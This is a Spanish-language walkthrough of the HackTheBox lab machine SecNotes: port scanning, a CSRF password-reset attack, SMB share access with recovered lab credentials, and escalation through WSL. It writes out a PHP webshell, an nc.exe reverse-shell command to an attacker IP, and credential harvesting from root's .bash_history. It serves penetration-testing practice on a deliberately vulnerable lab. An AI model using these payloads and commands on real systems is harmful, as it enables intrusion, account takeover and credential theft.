SecNotes

Publicado: 16 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy
📝 Descripción
SecNotes es una máquina Windows de dificultad Easy de HackTheBox que presenta una aplicación web de notas seguras vulnerable a ataques CSRF. La explotación involucra el secuestro de cuentas de usuario, acceso a recursos compartidos SMB, ejecución de código remoto a través de IIS, y escalada de privilegios mediante el subsistema Windows Subsystem for Linux (WSL). Esta máquina es excelente para practicar técnicas de web hacking, enumeración de servicios Windows y escalada de privilegios en entornos híbridos Windows/Linux.
Puntos clave de aprendizaje:
🎯 Explotación de vulnerabilidades CSRF en aplicaciones web
🔑 Enumeración y explotación de servicios SMB
🌐 Subida de webshells y ejecución remota de comandos en IIS
🐧 Escalada de privilegios através de WSL (Windows Subsystem for Linux)
🔍 Análisis de historial de comandos para obtención de credenciales
🔭 Reconocimiento
🏓 Ping para verificación en base a TTL
❯ ping -c2 10.10.10.97
PING 10.10.10.97 (10.10.10.97) 56(84) bytes of data.
64 bytes from 10.10.10.97: icmp_seq=1 ttl=127 time=48.0 ms
64 bytes from 10.10.10.97: icmp_seq=2 ttl=127 time=47.7 ms
--- 10.10.10.97 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1003ms
rtt min/avg/max/mdev = 47.695/47.870/48.046/0.175 ms
💡 Nota: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.
🔍 Escaneo de puertos
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.97 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
❯ echo $ports
80,445,8808
🛠️ Enumeración de servicios
nmap -sC -sV -p$ports 10.10.10.97 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-16 18:11 CEST
Nmap scan report for 10.10.10.97
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-title: Secure Notes - Login
|_Requested resource was login.php
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
445/tcp open microsoft-ds Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB)
8808/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
| http-methods:
|_ Potentially risky methods: TRACE
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: mean: 2h20m00s, deviation: 4h02m30s, median: 0s
| smb-os-discovery:
| OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: SECNOTES
| NetBIOS computer name: SECNOTES\x00
| Workgroup: HTB\x00
|_ System time: 2025-06-16T09:11:41-07:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2025-06-16T16:11:44
|_ start_date: N/A
🎯 Enumeración de Servicios
🌐 HTTP (Puerto 80) - Aplicación de Notas Seguras
Encontramos un panel de login de lo que parece ser una aplicación de notas seguras. Además hay una opción de registro.
URL: http://10.10.10.97/login.php

Al registrarnos tenemos acceso a una serie de opciones

👤 Enumeración de usuarios
Hay un banner en el que podemos enumerar un usuario llamado tyler. También aparece en la sección de contacto.

🔨 Fuzzing de directorios
El fuzzing de directorios no revela ningún otro recurso que añadir a nuestro scope como posible vía potencial de ataque.
feroxbuster -u http://10.10.10.97 -r -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --scan-dir-listings -C 503 -x php,xml,asp,aspx
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.10.97
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
💢 Status Code Filters │ [503]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
📂 Scan Dir Listings │ true
💲 Extensions │ [php, xml, asp, aspx]
🏁 HTTP methods │ [GET]
📍 Follow Redirects │ true
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 29l 95w 1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 35l 85w 1223c http://10.10.10.97/login.php
200 GET 41l 106w 1569c http://10.10.10.97/register.php
500 GET 29l 89w 1208c http://10.10.10.97/db.php
200 GET 35l 85w 1223c http://10.10.10.97/Login.php
500 GET 29l 89w 1208c http://10.10.10.97/auth.php
200 GET 41l 106w 1569c http://10.10.10.97/Register.php
500 GET 29l 89w 1208c http://10.10.10.97/DB.php
🚨 Explotación Web - Ataque CSRF
🎯 Identificación de la vulnerabilidad
Después de probar algunas cosas encuentro que puedo realizar un CSRF en la función Contact Us
. Esta funcionalidad permite enviar mensajes a otros usuarios de la aplicación.
python3 -m http.server 80

💣 Ejecución del CSRF
Trato de aprovecharme de esto cambiando la clave de tyler. Cambiaré la petición POST
de la función Change Password
a una GET
, para que pueda cambiar la clave de Tyler por otra cuando visite mi enlace malicioso.

Ahora puedo autenticarme como tyler:

Al revisar sus notas encuentro lo que parece ser un recurso compartido y una contraseña:

Credenciales encontradas:
\\secnotes.htb\new-site
tyler / 92g!mA8BGjOirkL%OG*&
🗂️ Explotación SMB
🔐 Validación de credenciales
Decido probar estas credenciales con el servicio SMB usando la herramienta netexec y confirmo que son válidas:
netexec smb 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&'
📁 Enumeración de recursos compartidos
netexec smb 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&' --shares

🔍 Exploración del recurso new-site
Enumeramos el recurso new-site
, que lo único que parece contener en la web en construcción del sitio IIS que hay en el puerto 8808
smbclient \\\\10.10.10.97\\new-site -U "tyler"
Password for [WORKGROUP\tyler]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Mon Jun 16 18:44:11 2025
.. D 0 Mon Jun 16 18:44:11 2025
iisstart.htm A 696 Thu Jun 21 17:26:03 2018
iisstart.png A 98757 Thu Jun 21 17:26:03 2018
Sin embargo, lo más interesante aquí, es que tyler tiene tiene permisos de lectura y escritura sobre este recurso.
smbmap -H 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&'

🚀 Acceso Inicial al Sistema
❌ Intento fallido con psexec
Primero intentamos sin éxito ganar acceso usando impacket-psexec:
impacket-psexec tyler:'92g!mA8BGjOirkL%OG*&'@10.10.10.97
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.10.10.97.....
[-] share 'ADMIN$' is not writable.
[-] share 'C$' is not writable.
[*] Found writable share new-site
[*] Uploading file pAtUkzUP.exe
[*] Opening SVCManager on 10.10.10.97.....
[-] Error opening SVCManager on 10.10.10.97.....
[-] Error performing the installation, cleaning up: Unable to open SVCManager
🕷️ Webshell a través de IIS
Así que optamos por la opción de intentar subir un archivo malicioso al directorio new-site que puede ser interpretado por el servidor IIS.
Me creo una webshell en php básica:
echo "<?php system(\$_GET['cmd']); ?>" >> wwwshell.php
A continuación la subo al servidor SMB:

http://10.10.10.97:8808/wwwshell.php?cmd=whoami
Y confirmamos la ejecución remota de comandos

Podríamos aprovechar esto para subir también la herramienta nc.exe al recureso smb /new-site y usarlo para establecer conexión con nuestro host de ataque
http://10.10.10.97:8808/wwwshell.php?cmd=nc.exe+-e+cmd.exe+10.10.14.7+443

Ganamos acceso al sistema y obtenemos la primera flag:
C:\Users\tyler\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 1E7B-9B76
Directory of C:\Users\tyler\Desktop
08/19/2018 03:51 PM <DIR> .
08/19/2018 03:51 PM <DIR> ..
06/22/2018 03:09 AM 1,293 bash.lnk
08/02/2021 03:32 AM 1,210 Command Prompt.lnk
04/11/2018 04:34 PM 407 File Explorer.lnk
06/21/2018 05:50 PM 1,417 Microsoft Edge.lnk
06/21/2018 09:17 AM 1,110 Notepad++.lnk
06/16/2025 09:07 AM 34 user.txt
08/19/2018 10:59 AM 2,494 Windows PowerShell.lnk
7 File(s) 7,965 bytes
2 Dir(s) 13,859,487,744 bytes free
C:\Users\tyler\Desktop>type user.txt
type user.txt
🔝 Escalada de Privilegios
Tras un rato enumerando la máquina buscando algúna potencial vía de escalada de privilegios, decido subir Winpeas.exe para ver qué encuentra y veo algo interesante:

🐧 Descubrimiento de WSL
🔗 Análisis del enlace bash.lnk
C:\Users\tyler\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 1E7B-9B76
Directory of C:\Users\tyler\Desktop
08/19/2018 03:51 PM <DIR> .
08/19/2018 03:51 PM <DIR> ..
06/22/2018 03:09 AM 1,293 bash.lnk
08/02/2021 03:32 AM 1,210 Command Prompt.lnk
04/11/2018 04:34 PM 407 File Explorer.lnk
06/21/2018 05:50 PM 1,417 Microsoft Edge.lnk
06/21/2018 09:17 AM 1,110 Notepad++.lnk
06/16/2025 09:07 AM 34 user.txt
08/19/2018 10:59 AM 2,494 Windows PowerShell.lnk
7 File(s) 7,965 bytes
2 Dir(s) 13,830,152,192 bytes free
Si revisamos el contenido de bash.lnk podremos ver que se está referenciando la ruta del binario de bash que ha encontrado Winpeas

🚪 Acceso al subsistema Linux
Al ejecutar el binario de bash comprobamos que accedemos a este subsistema Linux como root:

🔍 Búsqueda de credenciales en historial
Tras explorar el subsistema Linux y mejorar la TTY con Python, encuentro credenciales en el archivo .bash_history
de root:
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
root@SECNOTES:~# ls -la
ls -la
total 8
drwx------ 1 root root 512 Jun 22 2018 .
drwxr-xr-x 1 root root 512 Jun 21 2018 ..
---------- 1 root root 398 Jun 22 2018 .bash_history
-rw-r--r-- 1 root root 3112 Jun 22 2018 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwxrwxrwx 1 root root 512 Jun 22 2018 filesystem
root@SECNOTES:~# cat .bash_history
root@SECNOTES:~# cat .bash_history
cat .bash_history
cd /mnt/c/
ls
cd Users/
cd /
cd ~
ls
pwd
mkdir filesystem
mount //127.0.0.1/c$ filesystem/
sudo apt install cifs-utils
mount //127.0.0.1/c$ filesystem/
mount //127.0.0.1/c$ filesystem/ -o user=administrator
cat /proc/filesystems
sudo modprobe cifs
smbclient
apt install smbclient
smbclient
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$
> .bash_history
less .bash_history
🔑 Credenciales de Administrator
Credenciales encontradas:
administrator:u6!4ZwgwOM#^OBf#Nwnh
Ahora simplemente usamos netexec para validar esta credencial contra el servicio SMB:
netexec smb 10.10.10.97 -u 'administrator' -p 'u6!4ZwgwOM#^OBf#Nwnh'
SMB 10.10.10.97 445 SECNOTES [*] Windows 10 / Server 2016 Build 17134 (name:SECNOTES) (domain:SECNOTES) (signing:False) (SMBv1:True)
SMB 10.10.10.97 445 SECNOTES [+] SECNOTES\administrator:u6!4ZwgwOM#^OBf#Nwnh (Pwn3d!)
Ganamos acceso al sistema usando impacket-psexec y ya podemos obtener la flag root.txt:
impacket-psexec administrator:'u6!4ZwgwOM#^OBf#Nwnh'@10.10.10.97

Last updated